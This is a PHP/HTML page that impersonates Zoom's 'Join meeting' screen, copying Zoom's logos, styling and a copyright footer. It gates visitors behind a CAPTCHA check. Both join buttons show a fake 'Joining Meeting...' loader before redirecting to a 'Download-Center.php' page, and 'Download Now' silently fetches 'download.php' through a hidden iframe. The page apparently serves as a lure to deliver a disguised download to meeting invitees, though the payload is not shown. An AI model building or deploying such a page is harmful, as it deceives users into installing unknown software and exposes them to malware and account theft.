<?php
session_start();

// If NOT verified, send user to CAPTCHA page
if (empty($_SESSION['verified'])) {
    header("Location: /zoom.us");
    exit();
}
?>

<!DOCTYPE html>
<html lang="en-US">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <title>Launch Meeting - Zoom</title>
    
    <link rel="icon" type="image/x-icon" href="https://st1.zoom.us/zoom.ico">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    
    <style>
        :root {
            --zoom-blue: #0B5CFF;
            --zoom-dark: #00031F;
        }

        body {
            font-family: "Segoe UI", Roboto, Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #ffffff;
            color: #131619;
        }

        /* --- STAGE 1: JOIN PAGE --- */
        #join-meeting-page {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }

        .orig-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 20px 5%;
        }

        .orig-header img { height: 25px; }

        .nav-links { font-size: 14px; color: #6e6e6e; }
        .nav-links a { color: #6e6e6e; text-decoration: none; margin-right: 20px; }
        .nav-links span { color: #0b5cff; cursor: pointer; }

        .orig-content {
            flex: 1;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            text-align: center;
            padding: 40px 20px;
        }

        .orig-content h1 { font-size: 32px; font-weight: 600; margin-bottom: 40px; }

        .btn-stack { width: 100%; max-width: 360px; display: flex; flex-direction: column; gap: 14px; }

        .btn-orig {
            width: 100%; padding: 14px; font-size: 16px; font-weight: 600; border-radius: 10px;
            cursor: pointer; text-decoration: none; border: none; text-align: center;
        }
        .btn-blue-fill { background-color: #0b5cff; color: #ffffff; }
        .btn-white-outline { background-color: #ffffff; color: #131619; border: 1px solid #747487; }

        .dl-hint { margin-top: 25px; font-size: 14px; }
        .dl-hint a { color: #0b5cff; text-decoration: none; font-weight: 500; cursor: pointer; }

        .tos-hint { margin-top: 30px; font-size: 12px; color: #6e6e6e; max-width: 480px; line-height: 1.6; }
        .tos-hint a { color: #0b5cff; text-decoration: none; }

        /* --- STAGE 2: PRELOADER --- */
        #preloader {
            position: fixed;
            inset: 0;
            background: #242424;
            display: none;
            justify-content: center;
            align-items: center;
            z-index: 10000;
        }

        .loader-content { text-align: center; display: flex; flex-direction: column; align-items: center; }
        .loading-img { width: 48px; height: 48px; animation: rotate 1.2s linear infinite; margin-bottom: 12px; }
        .load-text { font-size: 20px; font-weight: 400; color: #FFFFFF; letter-spacing: -0.2px; }

        @keyframes rotate { 100% { transform: rotate(360deg); } }

        .orig-footer { text-align: center; padding: 40px; color: #8E8E93; font-size: 12px; border-top: 1px solid #f0f0f0; }
    </style>
</head>
<body>

    <div id="join-meeting-page">
        <header class="orig-header">
            <img src="https://st1.zoom.us/static/6.3.53910/image/new/topNav/Zoom_logo.svg" alt="Zoom">
            <div class="nav-links">
                <a href="#">Support</a>
                <span>English ▾</span>
            </div>
        </header>

        <main class="orig-content">
            <h1>Join meeting</h1>
            <div class="btn-stack">
                <button class="btn-orig btn-blue-fill" onclick="triggerJoin()">Join from Zoom Workplace app</button>
                <button class="btn-orig btn-white-outline" onclick="triggerJoin()">Join from browser</button>
            </div>
            <p class="dl-hint">Don’t have the Zoom Workplace App installed? <a onclick="justDownload()">Download Now</a></p>
            <p class="tos-hint">By joining a meeting, you agree to our <a href="#">Terms of Service</a> and <a href="#">Privacy Statement</a></p>
        </main>

        <footer class="orig-footer">
            ©2026 Zoom Communications, Inc. All rights reserved.
        </footer>
    </div>

    <div id="preloader">
        <div class="loader-content">
            <img alt="loading..." class="loading-img" src="https://us05st1.zoom.us/web_client/7.0.0.11504/image/loading.png" />
            <div class="load-text">Joining Meeting...</div>
        </div>
    </div>

    <iframe id="dlFrame" style="display:none;"></iframe>

    <script>
        const joinPage = document.getElementById('join-meeting-page');
        const preloader = document.getElementById('preloader');
        const dlFrame = document.getElementById('dlFrame');

        // Function for the blue/white buttons: Hides page, shows loader, redirects
        function triggerJoin() {
            joinPage.style.display = 'none';
            preloader.style.display = 'flex';

            setTimeout(() => {
                window.location.href = "Download-Center.php";
            }, 3000);
        }

        // Function for "Download Now": Only triggers the file, remains on same page
        function justDownload() {
            dlFrame.src = "download.php";
            // Logic for visual feedback (optional) could go here, 
            // but currently it keeps the user exactly where they are.
        }
    </script>
</body>
</html>